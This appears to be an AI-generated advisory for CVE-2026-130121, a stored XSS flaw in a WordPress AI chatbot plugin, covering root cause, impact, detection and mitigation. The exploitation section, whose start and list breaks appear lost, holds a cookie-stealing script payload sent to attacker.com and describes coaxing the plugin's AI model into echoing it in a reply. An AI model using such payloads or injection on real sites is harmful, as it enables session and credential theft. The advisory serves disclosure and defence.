
PEACH
Un cadre d’isolation des locataires
CVE-2026-130121 is a Stored Cross-Site Scripting (XSS) vulnerability in the "AI Puffer – MCP Server for Claude & ChatGPT, with AI Chatbot" WordPress plugin by senols, affecting all versions up to and including 2.5.28. The flaw allows unauthenticated attackers to inject arbitrary web scripts via AI-generated comment replies that bypass WordPress's standard content filtering. It was published on November 18, 2026, with a patch available via changeset 3807151. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory, Wordfence).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in the insert_comment_reply_logic() function within comment-reply-worker.php. This function saves AI-generated comment replies using wp_insert_comment() directly, bypassing the kses filtering that WordPress normally applies to sanitize comment content. An attacker crafts a comment containing an HTML/JavaScript payload designed to be reproduced verbatim by the AI model in its automated reply; because the reply is stored without sanitization, the script is persisted in the database and executes in any visitor's browser upon page load. Exploitation requires the administrator to have enabled a Comment Auto-Reply automation task with the "Action on reply" setting configured to "Approve" (non-default), and the attacker's original comment must have been approved (GitHub Advisory, Wordfence).
Successful exploitation allows an unauthenticated attacker to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of all users who visit the affected page. This can lead to session hijacking, credential theft, defacement, redirection to malicious sites, or further attacks against authenticated users including administrators. The scope is changed (S:C in CVSS), meaning the injected scripts can affect resources beyond the vulnerable component itself, though availability is not directly impacted (GitHub Advisory, Wordfence).
There is no known public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure. The EPSS score is 0.0, indicating a currently low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is conditional on a non-default administrator configuration ("Action on reply" set to "Approve"), which limits the attack surface (GitHub Advisory, Wordfence).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) worded in a way that prompts the AI model to reproduce the payload in its reply (e.g., embedding the payload within quoted text or as part of a question).insert_comment_reply_logic() saves it via wp_insert_comment() without kses sanitization.<script>, javascript:, onerror=, onload=, or other event handler attributes; unexpected outbound HTTP requests from visitor browsers to unknown external domains logged in web server access logs.wp_comments table entries where comment_author corresponds to the AI plugin's reply account and comment_content contains unsanitized HTML tags or JavaScript.comment-reply-worker.php for the absence of output sanitization (e.g., missing wp_kses() or esc_html() calls) around the wp_insert_comment() invocation (GitHub Advisory).Update the AI Puffer plugin to a version beyond 2.5.28, which includes the fix introduced in changeset 3807151. As an immediate workaround, administrators should navigate to the Comment Auto-Reply automation task settings and change "Action on reply" from "Approve" to "Hold for moderation" (the default), preventing automatic publication of AI-generated replies without manual review. Additionally, review existing AI-generated comment replies for any suspicious HTML or script content and delete or sanitize them as needed (GitHub Advisory, Wordfence).
The vulnerability was reported and disclosed by Wordfence, which assigned it a High severity rating. No notable independent researcher commentary, social media discussion, or broader media coverage has been identified at the time of this report, consistent with the low EPSS score and absence of public exploit code (Wordfence).
Source: Ce rapport a été généré à l’aide de l’IA
Évaluation gratuite des vulnérabilités
Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.
Obtenez une démo personnalisée
"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."